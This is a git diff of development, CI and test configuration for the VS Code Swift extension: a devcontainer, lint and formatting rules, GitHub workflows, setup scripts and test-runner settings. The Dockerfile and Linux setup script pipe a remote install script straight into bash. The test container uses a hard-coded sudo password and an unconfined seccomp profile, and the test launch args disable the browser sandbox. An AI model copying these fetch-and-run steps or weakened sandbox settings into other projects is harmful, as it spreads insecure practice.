diff --git a/.devcontainer/Dockerfile b/.devcontainer/Dockerfile new file mode 100644 index 000000000..cad52390f --- /dev/null +++ b/.devcontainer/Dockerfile @@ -0,0 +1,48 @@ +FROM swiftlang/swift:nightly-jammy + +# python3-lldb-13 is only needed for swiftly and a great dep to remove to test post-install script ;) +RUN export DEBIAN_FRONTEND=noninteractive DEBCONF_NONINTERACTIVE_SEEN=true \ + && apt-get -q update \ + && apt-get -q dist-upgrade -y \ + && apt-get -q install -y \ + curl \ + sqlite3 \ + libsqlite3-dev \ + libncurses5-dev \ + python3 \ + python3-lldb-13 \ + build-essential \ + sudo + +# Install nvm / Node.js +RUN mkdir -p /usr/local/nvm +ENV NVM_DIR /usr/local/nvm +ENV NODE_VERSION v20.19.0 +RUN curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh | bash +RUN /bin/bash -c "source $NVM_DIR/nvm.sh && nvm install $NODE_VERSION" +ENV NODE_PATH $NVM_DIR/versions/node/$NODE_VERSION/bin +ENV PATH $NODE_PATH:$PATH +RUN npm -v +RUN node -v + +# Create a "vscode" user that is a sudoer +RUN useradd -ms /bin/bash vscode +RUN echo "vscode:vscode" | chpasswd +RUN adduser vscode sudo + +# Install swiftly +USER vscode +ENV SWIFTLY_HOME_DIR /home/vscode/.swiftly +ENV SWIFTLY_BIN_DIR /home/vscode/.swiftly/bin +ENV SWIFTLY_TOOLCHAINS_DIR /home/vscode/.swiftly/bin +RUN mkdir -p $SWIFTLY_HOME_DIR +RUN cd ~ && curl -O https://download.swift.org/swiftly/linux/swiftly-$(uname -m).tar.gz && \ + tar zxf swiftly-$(uname -m).tar.gz && \ + ./swiftly init --quiet-shell-followup && \ + . "${SWIFTLY_HOME_DIR}/env.sh" && \ + hash -r + +# Use swiftly toolchain by default +RUN echo "export SWIFTLY_HOME_DIR=$SWIFTLY_HOME_DIR" >> ~/.bashrc +RUN echo "export SWIFTLY_BIN_DIR=$SWIFTLY_BIN_DIR" >> ~/.bashrc +RUN echo '. "${SWIFTLY_HOME_DIR}/env.sh"' >> ~/.bashrc diff --git a/.devcontainer/devcontainer.json b/.devcontainer/devcontainer.json new file mode 100644 index 000000000..72d529063 --- /dev/null +++ b/.devcontainer/devcontainer.json @@ -0,0 +1,39 @@ +{ + "name": "Swift", + "dockerFile": "Dockerfile", + "features": { + "ghcr.io/devcontainers/features/common-utils:2": { + "installZsh": "false", + "upgradePackages": "false" + }, + "ghcr.io/devcontainers/features/git:1": { + "version": "os-provided", + "ppa": "false" + } + }, + "runArgs": [ + "--cap-add=SYS_PTRACE", + "--security-opt", + "seccomp=unconfined" + ], + // Configure tool-specific properties. + "customizations": { + // Configure properties specific to VS Code. + "vscode": { + // Add the IDs of extensions you want installed when the container is created. + "extensions": [ + "dbaeumer.vscode-eslint", + "esbenp.prettier-vscode", + "llvm-vs-code-extensions.lldb-dap" + ] + } + }, + "mounts": [ + "source=node_modules,target=${containerWorkspaceFolder}/node_modules,type=volume" + ], + // Use 'postCreateCommand' to run commands after the container is created. + // Modify /etc/sudoers.d/vscode to make sure we're always prompted for root password for testing askpass. + "postCreateCommand": "sudo chown vscode node_modules && echo 'vscode ALL=(ALL:ALL) ALL' | sudo tee /etc/sudoers.d/vscode && npm install", + // Set `remoteUser` to `root` to connect as root instead. More info: https://aka.ms/vscode-remote/containers/non-root. + "remoteUser": "vscode" +} diff --git a/.eslintrc.json b/.eslintrc.json index 5a8e1c0ad..b88534848 100644 --- a/.eslintrc.json +++ b/.eslintrc.json @@ -3,21 +3,39 @@ "parser": "@typescript-eslint/parser", "parserOptions": { "ecmaVersion": 2020, - "sourceType": "module" + "sourceType": "module", + "project": true }, - "plugins": ["@typescript-eslint"], + "plugins": ["@typescript-eslint", "mocha"], "rules": { "curly": "error", "eqeqeq": "warn", "no-throw-literal": "warn", - "semi": "off", + // TODO "@typescript-eslint/semi" rule moved to https://eslint.style + "semi": "error", + "no-console": "warn", + "mocha/no-exclusive-tests": "error", + "no-restricted-syntax": [ + "error", + { + "selector": "CallExpression[callee.object.object.callee.name='tag'][callee.property.name='only']", + "message": "Unexpected exclusive mocha test with tag().suite.only() or tag().test.only()" + } + ], + "@typescript-eslint/no-floating-promises": ["warn", { "checkThenables": true }], + "@typescript-eslint/await-thenable": "warn", + // Mostly fails tests, ex. expect(...).to.be.true returns a Chai.Assertion + "@typescript-eslint/no-unused-expressions": "off", "@typescript-eslint/no-non-null-assertion": "off", - "@typescript-eslint/semi": "error" + "@typescript-eslint/no-unused-vars": [ + "error", + { + "args": "all", + "argsIgnorePattern": "^_", + "caughtErrors": "none" + } + ] }, - "extends": [ - "eslint:recommended", - "plugin:@typescript-eslint/recommended", - "prettier" - ], - "ignorePatterns": ["out", "dist", "**/*.d.ts"] + "extends": ["eslint:recommended", "plugin:@typescript-eslint/recommended", "prettier"], + "ignorePatterns": ["assets", "out", "dist", "**/*.d.ts"] } diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 000000000..84e6680e8 --- /dev/null +++ b/.gitattributes @@ -0,0 +1 @@ +CHANGELOG.md -text merge=union \ No newline at end of file diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS new file mode 100644 index 000000000..945894b75 --- /dev/null +++ b/.github/CODEOWNERS @@ -0,0 +1 @@ +* @adam-fowler @0xTim @award999 \ No newline at end of file diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md index 6fe6f2750..b3a5f3eda 100644 --- a/.github/ISSUE_TEMPLATE/bug_report.md +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -26,5 +26,10 @@ A clear and concise description of what you expected to happen. - Visual Studio Code version: - vscode-swift version: +**Diagnostics Bundle** +The diagnostics bundle can help determine the root cause of bugs much quicker. To share this information execute the `>Swift: Capture Diagnostics Bundle` command and attach the archive to the bug report. + +*Select the "Minimal" bundle to only share the Swift extension's log and your configured `swift.` settings. Select the "Full" bundle if you're comfortable sharing the SourceKit-LSP diagnostic bundle and LLDB-DAP logs, which may contain source code* + **Additional context** Add any other context about the problem here. diff --git a/.github/ISSUE_TEMPLATE/test_failure.md b/.github/ISSUE_TEMPLATE/test_failure.md new file mode 100644 index 000000000..93b94efb9 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/test_failure.md @@ -0,0 +1,23 @@ +--- +name: Test failure +about: Create a test failure issue +title: 'Test Failure: {Test Suite Name} - {Test Name} failed on {Actions Job Name}' +labels: 'test_infrastructure' +assignees: '' + +--- + + +**Failure logs** + +``` +Test failure output from the GitHub Actions logs +``` + +Link to failed run: [GitHub Actions Link] + +**Additional context** +Add any other context about the problem here. This could include things such as changes that may have caused this issue or notes about the specific environment that the test failed in. + +**Related test failures** +Link to any previous issues that may have been closed or that may be related. diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md new file mode 100644 index 000000000..153f5f1cb --- /dev/null +++ b/.github/PULL_REQUEST_TEMPLATE.md @@ -0,0 +1,16 @@ + + + + +## Description +Describe your changes clearly and use examples if possible + +Issue: Please provide reference link to the Github issue + +## Tasks +- [ ] Required tests have been written +- [ ] Documentation has been updated +- [ ] Added an entry to CHANGELOG.md if applicable diff --git a/.github/dependabot.yml b/.github/dependabot.yml new file mode 100644 index 000000000..78404d823 --- /dev/null +++ b/.github/dependabot.yml @@ -0,0 +1,33 @@ +version: 2 +updates: + - package-ecosystem: "npm" + directory: "/" + schedule: + interval: "weekly" + open-pull-requests-limit: 5 + allow: + - dependency-type: direct + ignore: + - dependency-name: "*glob" + update-types: ["version-update:semver-major"] + - dependency-name: "@types/node" + update-types: ["version-update:semver-major"] + - dependency-name: "strip-ansi" + update-types: ["version-update:semver-major"] + - dependency-name: "*chai*" + update-types: ["version-update:semver-major"] + - dependency-name: "@vscode/vsce" + update-types: ["version-update:semver-major"] + - dependency-name: "@types/vscode" + - dependency-name: "@types/svgicons2svgfont" + - dependency-name: "octokit" + update-types: ["version-update:semver-major"] + - dependency-name: "eslint-plugin-mocha" + update-types: ["version-update:semver-major"] + # Newer versions of fantasticon are broken on Windows. + # https://github.com/tancredi/fantasticon/issues/470 + - dependency-name: "fantasticon" + groups: + all-dependencies: + patterns: + - "*" diff --git a/.github/workflows/nightly.yml b/.github/workflows/nightly.yml new file mode 100644 index 000000000..def088e63 --- /dev/null +++ b/.github/workflows/nightly.yml @@ -0,0 +1,106 @@ +name: Nightly + +permissions: + contents: read + +on: + schedule: + - cron: "0 0 * * *" + workflow_dispatch: + +jobs: + package: + name: Package Extension + runs-on: ubuntu-latest + container: + image: swift:6.0-jammy + outputs: + artifact-id: ${{ steps.archive.outputs.artifact-id }} + steps: + - name: Checkout repository + uses: actions/checkout@v4 + - name: Build Extension + run: | + export NODE_VERSION=v20.19.0 + export NODE_PATH=/usr/local/nvm/versions/node/v20.19.0/bin + export NVM_DIR=/usr/local/nvm + . .github/workflows/scripts/setup-linux.sh + [ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh" + npm ci + npm run package + npm run preview-package + for file in *.vsix; do + name="$(basename "$file" .vsix)-${{github.run_number}}.vsix" + echo "Created bundle $name" + mv "$file" "$name" + done + git config --global --add safe.directory $PWD + git rev-parse HEAD > vscode-swift-sha.txt + - name: Archive production artifacts + id: archive + uses: actions/upload-artifact@v4 + if: ${{ env.ACT != 'true' }} + with: + if-no-files-found: error + name: vscode-swift-extension + path: | + *.vsix + vscode-swift-sha.txt + + tests_release: + name: Test Release + needs: package + uses: swiftlang/github-workflows/.github/workflows/swift_package_test.yml@main + with: + needs_token: true + # Linux + linux_exclude_swift_versions: '[{"swift_version": "nightly-6.1"}]' + linux_env_vars: | + NODE_VERSION=v20.19.0 + NODE_PATH=/usr/local/nvm/versions/node/v20.19.0/bin + NVM_DIR=/usr/local/nvm + CI=1 + VSCODE_SWIFT_VSIX_ID=${{needs.package.outputs.artifact-id}} + GITHUB_REPOSITORY=${{github.repository}} + linux_pre_build_command: . .github/workflows/scripts/setup-linux.sh + linux_build_command: ./scripts/test.sh + # Windows + windows_exclude_swift_versions: '[{"swift_version": "nightly-6.1"},{"swift_version": "nightly"}]' # Missing https://github.com/swiftlang/swift/pull/80144 + windows_env_vars: | + CI=1 + VSCODE_SWIFT_VSIX_ID=${{needs.package.outputs.artifact-id}} + GITHUB_REPOSITORY=${{github.repository}} + windows_pre_build_command: . .github\workflows\scripts\windows\setup.ps1 + windows_build_command: Invoke-Program scripts\test_windows.ps1 + enable_windows_docker: false + + tests_insiders: + name: Test Insiders + needs: package + uses: swiftlang/github-workflows/.github/workflows/swift_package_test.yml@main + with: + needs_token: true + # Linux + linux_exclude_swift_versions: '[{"swift_version": "5.8"}, {"swift_version": "5.9"}, {"swift_version": "5.10"}, {"swift_version": "6.0"}, {"swift_version": "6.1"}, {"swift_version": "nightly-6.1"}, {"swift_version": "nightly-6.2"}, {"swift_version": "nightly-main"}]' + linux_env_vars: | + NODE_VERSION=v20.19.0 + NODE_PATH=/usr/local/nvm/versions/node/v20.19.0/bin + NVM_DIR=/usr/local/nvm + CI=1 + VSCODE_VERSION=insiders + VSCODE_SWIFT_VSIX_ID=${{needs.package.outputs.artifact-id}} + VSCODE_SWIFT_VSIX_PRERELEASE=1 + GITHUB_REPOSITORY=${{github.repository}} + linux_pre_build_command: . .github/workflows/scripts/setup-linux.sh + linux_build_command: ./scripts/test.sh + # Windows + windows_exclude_swift_versions: '[{"swift_version": "5.9"}, {"swift_version": "6.0"}, {"swift_version": "6.1"}, {"swift_version": "nightly-6.1"}, {"swift_version": "nightly-6.2"}, {"swift_version": "nightly"}]' + windows_env_vars: | + CI=1 + VSCODE_VERSION=insiders + VSCODE_SWIFT_VSIX_ID=${{needs.package.outputs.artifact-id}} + VSCODE_SWIFT_VSIX_PRERELEASE=1 + GITHUB_REPOSITORY=${{github.repository}} + windows_pre_build_command: . .github\workflows\scripts\windows\setup.ps1 + windows_build_command: Invoke-Program scripts\test_windows.ps1 + enable_windows_docker: false diff --git a/.github/workflows/pull_request.yml b/.github/workflows/pull_request.yml new file mode 100644 index 000000000..00b679852 --- /dev/null +++ b/.github/workflows/pull_request.yml @@ -0,0 +1,88 @@ +name: Pull request + +permissions: + contents: read + +on: + pull_request: + types: [opened, reopened, synchronize] + +jobs: + package: + name: Package Extension + runs-on: ubuntu-latest + container: + image: swift:6.0-jammy + outputs: + artifact-id: ${{ steps.archive.outputs.artifact-id }} + steps: + - name: Checkout repository + uses: actions/checkout@v4 + - name: Build Extension + run: | + export NODE_VERSION=v20.19.0 + export NODE_PATH=/usr/local/nvm/versions/node/v20.19.0/bin + export NVM_DIR=/usr/local/nvm + . .github/workflows/scripts/setup-linux.sh + [ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh" + npm ci + npm run dev-package + for file in *.vsix; do + name="$(basename "$file" .vsix)-${{github.run_number}}.vsix" + echo "Created bundle $name" + mv "$file" "$name" + done + git config --global --add safe.directory $PWD + git rev-parse HEAD > vscode-swift-sha.txt + - name: Archive production artifacts + id: archive + uses: actions/upload-artifact@v4 + if: ${{ env.ACT != 'true' }} + with: + if-no-files-found: error + name: vscode-swift-extension + path: | + *.vsix + vscode-swift-sha.txt + + tests: + name: ${{ contains(github.event.pull_request.labels.*.name, 'full-test-run') && 'Full Test Run' || 'Test'}} + needs: package + uses: swiftlang/github-workflows/.github/workflows/swift_package_test.yml@main + with: + needs_token: true + # Linux + linux_exclude_swift_versions: "${{ contains(github.event.pull_request.labels.*.name, 'full-test-run') && '[{\"swift_version\": \"nightly-6.1\"}]' || '[{\"swift_version\": \"nightly-6.1\"},{\"swift_version\": \"nightly-6.2\"},{\"swift_version\": \"nightly-main\"}]' }}" + linux_env_vars: | + NODE_VERSION=v20.19.0 + NODE_PATH=/usr/local/nvm/versions/node/v20.19.0/bin + NVM_DIR=/usr/local/nvm + CI=1 + FAST_TEST_RUN=${{ contains(github.event.pull_request.labels.*.name, 'full-test-run') && '0' || '1'}} + VSCODE_SWIFT_VSIX_ID=${{needs.package.outputs.artifact-id}} + GITHUB_REPOSITORY=${{github.repository}} + linux_pre_build_command: . .github/workflows/scripts/setup-linux.sh + linux_build_command: ./scripts/test.sh + # Windows + windows_exclude_swift_versions: "${{ contains(github.event.pull_request.labels.*.name, 'full-test-run') && '[{\"swift_version\": \"nightly-6.1\"},{\"swift_version\": \"nightly\"}]' || '[{\"swift_version\": \"nightly-6.1\"},{\"swift_version\": \"nightly-6.2\"},{\"swift_version\": \"nightly\"}]' }}" + windows_env_vars: | + CI=1 + FAST_TEST_RUN=${{ contains(github.event.pull_request.labels.*.name, 'full-test-run') && '0' || '1'}} + VSCODE_SWIFT_VSIX_ID=${{needs.package.outputs.artifact-id}} + GITHUB_REPOSITORY=${{github.repository}} + windows_pre_build_command: . .github\workflows\scripts\windows\setup.ps1 + windows_build_command: Invoke-Program scripts\test_windows.ps1 + enable_windows_docker: false + + soundness: + name: Soundness + uses: swiftlang/github-workflows/.github/workflows/soundness.yml@main + with: + # Pending https://github.com/swiftlang/vscode-swift/pull/1176 + license_header_check_enabled: false + license_header_check_project_name: "VS Code Swift" + api_breakage_check_enabled: false + docs_check_enabled: false + format_check_enabled: false + shell_check_enabled: true + unacceptable_language_check_enabled: true diff --git a/.github/workflows/scripts/setup-linux.sh b/.github/workflows/scripts/setup-linux.sh new file mode 100755 index 000000000..01cc9530d --- /dev/null +++ b/.github/workflows/scripts/setup-linux.sh @@ -0,0 +1,32 @@ +#!/bin/bash +##===----------------------------------------------------------------------===## +## +## This source file is part of the VS Code Swift open source project +## +## Copyright (c) 2024 the VS Code Swift project authors +## Licensed under Apache License v2.0 +## +## See LICENSE.txt for license information +## See CONTRIBUTORS.txt for the list of VS Code Swift project authors +## +## SPDX-License-Identifier: Apache-2.0 +## +##===----------------------------------------------------------------------===## + +export NODE_VERSION=v20.19.0 +export NODE_PATH=/usr/local/nvm/versions/node/v20.19.0/bin +export NVM_DIR=/usr/local/nvm + +apt-get update && apt-get install -y rsync curl gpg libasound2 libgbm1 libgtk-3-0 libnss3 xvfb build-essential +mkdir -p $NVM_DIR +curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh | bash +# shellcheck disable=SC1091 +. $NVM_DIR/nvm.sh && nvm install $NODE_VERSION +echo "$NODE_PATH" >> "$GITHUB_PATH" + +env | sort + +if [ -n "$VSCODE_SWIFT_VSIX_ID" ]; then + npm ci --ignore-scripts + npx tsx scripts/download_vsix.ts +fi diff --git a/.github/workflows/scripts/windows/install-nodejs.ps1 b/.github/workflows/scripts/windows/install-nodejs.ps1 new file mode 100644 index 000000000..749dc065b --- /dev/null +++ b/.github/workflows/scripts/windows/install-nodejs.ps1 @@ -0,0 +1,24 @@ +$NODEJS='https://nodejs.org/dist/v20.19.0/node-v20.19.0-x64.msi' +$NODEJS_SHA256='c2654d3557abd59de08474c6dd009b1d358f420b8e4010e4debbf130b1dfb90a' +Set-Variable ErrorActionPreference Stop +Set-Variable ProgressPreference SilentlyContinue +Write-Host -NoNewLine ('Downloading {0} ... ' -f ${NODEJS}) +Invoke-WebRequest -Uri ${NODEJS} -OutFile $env:TEMP\node.msi +Write-Host 'SUCCESS' +Write-Host -NoNewLine ('Verifying SHA256 ({0}) ... ' -f ${NODEJS_SHA256}) +$Hash = Get-FileHash $env:TEMP\node.msi -Algorithm sha256 +if ($Hash.Hash -eq ${NODEJS_SHA256}) { + Write-Host 'SUCCESS' +} else { + Write-Host ('FAILED ({0})' -f $Hash.Hash) + exit 1 +} +Write-Host -NoNewLine 'Installing node.js for Windows ... ' +$Process = Start-Process msiexec "/i $env:TEMP\node.msi /norestart /qn" -Wait -PassThru +if ($Process.ExitCode -eq 0) { + Write-Host 'SUCCESS' +} else { + Write-Host ('FAILED ({0})' -f $Process.ExitCode) + exit 1 +} +Remove-Item -Force $env:TEMP\node.msi diff --git a/.github/workflows/scripts/windows/setup.ps1 b/.github/workflows/scripts/windows/setup.ps1 new file mode 100644 index 000000000..3404632ee --- /dev/null +++ b/.github/workflows/scripts/windows/setup.ps1 @@ -0,0 +1,17 @@ +# Install node.js +. .github\workflows\scripts\windows\install-nodejs.ps1 + +# Download the VSIX archived upstream +npm ci +$Process = Start-Process npx "tsx scripts/download_vsix.ts" -Wait -PassThru -NoNewWindow +if ($Process.ExitCode -eq 0) { + Write-Host 'SUCCESS' +} else { + Write-Host ('FAILED ({0})' -f $Process.ExitCode) + exit 1 +} + +Get-Content $env:GITHUB_ENV | foreach { + $name, $value = $_.split('=') + Set-Content env:\$name $value +} diff --git a/.gitignore b/.gitignore index c1c8798af..7359c49c9 100644 --- a/.gitignore +++ b/.gitignore @@ -1,6 +1,31 @@ +# Build Outputs +*.vsix out dist +coverage +test-results +userdocs/userdocs.docc/.docc-build + +# SwiftPM cache for tests +.spm-cache + +# Generated Assets +assets/documentation-webview +assets/icons +assets/swift-docc-render +assets/test/**/Package.resolved + +# Node node_modules -*.vsix + +# Hidden Directories .vscode-test -.build \ No newline at end of file +.build +.index-build + +# macOS +.DS_Store + +# Miscellaneous +default.profraw +ud diff --git a/.husky/pre-commit b/.husky/pre-commit new file mode 100755 index 000000000..2657d3fa5 --- /dev/null +++ b/.husky/pre-commit @@ -0,0 +1,25 @@ +# Store list of staged files before formatting +STAGED_FILES=$(git diff --cached --name-only --diff-filter=ACMR) + +# Run lint-staged to format only staged files +echo "Running formatter on staged files..." +npx lint-staged + +# Check if there are any changes in previously staged files +UNSTAGED_CHANGES=0 +for FILE in $STAGED_FILES; do + if [ -f "$FILE" ] && git diff --quiet "$FILE"; then + # No changes in this file + continue + else + # Changes detected + UNSTAGED_CHANGES=1 + echo "File modified after formatting: $FILE" + fi +done + +if [ $UNSTAGED_CHANGES -eq 1 ]; then + echo "Error: There are unstaged changes after running the formatter." + echo "Please stage the modified files and try committing again." + exit 1 +fi diff --git a/.mailmap b/.mailmap index 58d663fbc..eb0d26ac9 100644 --- a/.mailmap +++ b/.mailmap @@ -2,4 +2,6 @@ Tim Condon <0xtimc@gmail.com> <0xTim@users.noreply.github.com> Tim Condon <0xtimc@gmail.com> Tim <0xtimc@gmail.com> Hassan Talat Kenta Kubo <601636+kkk669@users.noreply.github.com> -Serhii Mumriak <4306641+smumriak@users.noreply.github.com> \ No newline at end of file +Serhii Mumriak <4306641+smumriak@users.noreply.github.com> +Ryan Wang +Tristan Labelle Tristan Labelle diff --git a/.mocha-reporter.js b/.mocha-reporter.js new file mode 100644 index 000000000..9a2f07da1 --- /dev/null +++ b/.mocha-reporter.js @@ -0,0 +1,35 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// + +const mocha = require("mocha"); +const GHASummaryReporter = require("./dist/test/reporters/GitHubActionsSummaryReporter"); + +// Taking inspiration from https://github.com/stanleyhlng/mocha-multi-reporters/issues/108#issuecomment-2028773686 +// since mocha-multi-reporters seems to have bugs with newer mocha versions +module.exports = class MultiReporter extends mocha.reporters.Base { + constructor(runner, options) { + super(runner, options); + this.reporters = [ + new mocha.reporters.Spec(runner, { + reporterOption: options.reporterOption.specReporterOptions, + }), + new GHASummaryReporter(runner, { + reporterOption: options.reporterOption.githubActionsSummaryReporterOptions, + }), + new mocha.reporters.JSON(runner, { + reporterOption: options.reporterOption.jsonReporterOptions, + }), + ]; + } +}; diff --git a/.npmrc b/.npmrc new file mode 100644 index 000000000..214c29d13 --- /dev/null +++ b/.npmrc @@ -0,0 +1 @@ +registry=https://registry.npmjs.org/ diff --git a/.nvmrc b/.nvmrc new file mode 100644 index 000000000..829e9737e --- /dev/null +++ b/.nvmrc @@ -0,0 +1 @@ +20.19.0 \ No newline at end of file diff --git a/.prettierignore b/.prettierignore index 9b36c2de3..a7aad951d 100644 --- a/.prettierignore +++ b/.prettierignore @@ -1 +1,23 @@ -.vscode-test +# Only lint certain file types +*.* +!*.js +!*.json +!*.ts + +# Directories ignored by default that actually should be formatted +!.vscode/ + +# NodeJS +node_modules/ + +# vscode-test +.vscode-test/ + +# Extension directories that don't need formatting +/assets/ +/coverage/ +/dist/ +/snippets/ + +# macOS CI +/ud/ \ No newline at end of file diff --git a/.prettierrc.json b/.prettierrc.json index 6f84b6e23..518940860 100644 --- a/.prettierrc.json +++ b/.prettierrc.json @@ -1,7 +1,14 @@ { + "plugins": ["@trivago/prettier-plugin-sort-imports"], + "endOfLine": "auto", + "trailingComma": "es5", "printWidth": 100, "tabWidth": 4, "arrowParens": "avoid", + "importOrder": ["^@src/(.*)$", "^\\.(\\.)?/(.*)$"], + "importOrderSeparation": true, + "importOrderSortSpecifiers": true, + "importOrderSideEffects": false, "overrides": [ { "files": "*.json", diff --git a/.unacceptablelanguageignore b/.unacceptablelanguageignore new file mode 100644 index 000000000..201687d71 --- /dev/null +++ b/.unacceptablelanguageignore @@ -0,0 +1,7 @@ +assets/swift-docc-render +src/typings/node-pty.d.ts +src/utilities/utilities.ts +src/tasks/SwiftProcess.ts +syntaxes/swift-gyb.tmLanguage.json +test/unit-tests/syntaxes/swift.tmLanguage.json +test/unit-tests/syntaxes/MagicPython.tmLanguage.json diff --git a/.vscode-test.js b/.vscode-test.js new file mode 100644 index 000000000..9d6ceeeef --- /dev/null +++ b/.vscode-test.js @@ -0,0 +1,204 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +// @ts-check + +const { defineConfig } = require("@vscode/test-cli"); +const path = require("path"); +const { version, publisher, name } = require("./package.json"); + +const isCIBuild = process.env["CI"] === "1"; + +const dataDir = process.env["VSCODE_DATA_DIR"]; + +// Check if we're debugging by looking at the process executable. Unfortunately, the VS Code debugger +// doesn't seem to allow setting environment variables on a launched extension host. +const processPath = process.env["_"] ?? ""; +const isDebugRun = !isCIBuild && !processPath.endsWith("node_modules/.bin/vscode-test"); + +function log(/** @type {string} */ message) { + if (!isDebugRun) { + console.log(message); + } +} + +// Remove the default timeout when debugging to avoid test failures when a breakpoint is hit. +// Keep this up to date with the timeout of a 'small' test in 'test/tags.ts'. +const timeout = isDebugRun ? 0 : 2000; + +const launchArgs = [ + "--disable-updates", + "--disable-crash-reporter", + "--disable-workspace-trust", + "--disable-telemetry", + "--disable-gpu", + "--disable-gpu-sandbox", + "--disable-chromium-sandbox", + "--disable-extension=vscode.git", +]; +if (dataDir) { + launchArgs.push("--user-data-dir", dataDir); +} + +const installExtensions = []; +const extensionDependencies = []; +let vsixPath = process.env["VSCODE_SWIFT_VSIX"]; +let versionStr = version; +let extensionDevelopmentPath; +if (vsixPath) { + // https://github.com/swiftlang/vscode-swift/issues/1751 + // Will install extensions before CI tests run + installExtensions.push("vadimcn.vscode-lldb", "llvm-vs-code-extensions.lldb-dap"); + + // Absolute path to vsix needed + if (!path.isAbsolute(vsixPath)) { + vsixPath = path.join(__dirname, vsixPath); + } + log("Installing VSIX " + vsixPath); + installExtensions.push(vsixPath); + + // Determine version to use + const match = /swift-vscode-(\d+.\d+.\d+(-dev)?)(-\d+)?.vsix/g.exec(path.basename(vsixPath)); + if (match) { + versionStr = match[1]; + } + log("Running tests against extension version " + versionStr); + + extensionDevelopmentPath = `${__dirname}/.vscode-test/extensions/${publisher}.${name}-${versionStr}`; + log("Running tests against extension development path " + extensionDevelopmentPath); +} else { + extensionDependencies.push("vadimcn.vscode-lldb", "llvm-vs-code-extensions.lldb-dap"); +} + +const vscodeVersion = process.env["VSCODE_VERSION"] ?? "stable"; +log("Running tests against VS Code version " + vscodeVersion); + +const installConfigs = []; +for (const ext of installExtensions) { + installConfigs.push({ + label: `installExtension-${ext}`, + installExtensions: [ext], + launchArgs: launchArgs.concat("--disable-extensions"), + files: ["dist/test/sleep.test.js"], + version: vscodeVersion, + skipExtensionDependencies: true, + reuseMachineInstall: !isCIBuild, + }); +} + +const env = { + ...process.env, + RUNNING_UNDER_VSCODE_TEST_CLI: "1", + VSCODE_DEBUG: isDebugRun ? "1" : "0", +}; +log("Running tests against environment:\n" + JSON.stringify(env, undefined, 2)); + +module.exports = defineConfig({ + tests: [ + ...installConfigs, + { + label: "integrationTests", + files: ["dist/test/common.js", "dist/test/integration-tests/**/*.test.js"], + version: vscodeVersion, + workspaceFolder: "./assets/test", + launchArgs, + extensionDevelopmentPath, + env, + mocha: { + ui: "tdd", + color: true, + timeout, + forbidOnly: isCIBuild, + slow: 10000, + retries: 1, + reporter: path.join(__dirname, ".mocha-reporter.js"), + reporterOptions: { + githubActionsSummaryReporterOptions: { + title: "Integration Test Summary", + }, + jsonReporterOptions: { + output: path.join(__dirname, "test-results", "integration-tests.json"), + }, + }, + }, + installExtensions: extensionDependencies, + skipExtensionDependencies: installConfigs.length > 0, + }, + { + label: "codeWorkspaceTests", + files: [ + "dist/test/common.js", + "dist/test/integration-tests/extension.test.js", + "dist/test/integration-tests/WorkspaceContext.test.js", + "dist/test/integration-tests/tasks/**/*.test.js", + "dist/test/integration-tests/commands/build.test.js", + "dist/test/integration-tests/testexplorer/TestExplorerIntegration.test.js", + "dist/test/integration-tests/commands/dependency.test.js", + ], + version: vscodeVersion, + workspaceFolder: "./assets/test.code-workspace", + launchArgs, + extensionDevelopmentPath, + env, + mocha: { + ui: "tdd", + color: true, + timeout, + forbidOnly: isCIBuild, + slow: 10000, + retries: 1, + reporter: path.join(__dirname, ".mocha-reporter.js"), + reporterOptions: { + githubActionsSummaryReporterOptions: { + title: "Code Workspace Test Summary", + }, + jsonReporterOptions: { + output: path.join(__dirname, "test-results", "code-workspace-tests.json"), + }, + }, + }, + installExtensions: extensionDependencies, + skipExtensionDependencies: installConfigs.length > 0, + }, + { + label: "unitTests", + files: ["dist/test/common.js", "dist/test/unit-tests/**/*.test.js"], + version: vscodeVersion, + launchArgs: launchArgs.concat("--disable-extensions"), + env, + mocha: { + ui: "tdd", + color: true, + timeout, + forbidOnly: isCIBuild, + slow: 100, + reporter: path.join(__dirname, ".mocha-reporter.js"), + reporterOptions: { + githubActionsSummaryReporterOptions: { + title: "Unit Test Summary", + }, + jsonReporterOptions: { + output: path.join(__dirname, "test-results", "unit-tests.json"), + }, + }, + }, + skipExtensionDependencies: true, + }, + // you can specify additional test configurations, too + ], + coverage: { + includeAll: true, + exclude: ["**/test/**"], + reporter: ["text", "lcov"], // "lcov" also generates HTML + }, +}); diff --git a/.vscode/extensions.json b/.vscode/extensions.json index 539d83104..3bfc4d061 100644 --- a/.vscode/extensions.json +++ b/.vscode/extensions.json @@ -1,9 +1,5 @@ { - // See http://go.microsoft.com/fwlink/?LinkId=827846 - // for the documentation about the extensions.json format - "recommendations": [ - "connor4312.esbuild-problem-matchers", - "dbaeumer.vscode-eslint", - "esbenp.prettier-vscode" - ] + // See http://go.microsoft.com/fwlink/?LinkId=827846 + // for the documentation about the extensions.json format + "recommendations": ["dbaeumer.vscode-eslint", "esbenp.prettier-vscode"] } diff --git a/.vscode/launch.json b/.vscode/launch.json index 3ba977d25..b101f2537 100644 --- a/.vscode/launch.json +++ b/.vscode/launch.json @@ -3,33 +3,74 @@ // Hover to view descriptions of existing attributes. // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387 { - "version": "0.2.0", - "configurations": [ - { - "name": "Run Extension", - "type": "extensionHost", - 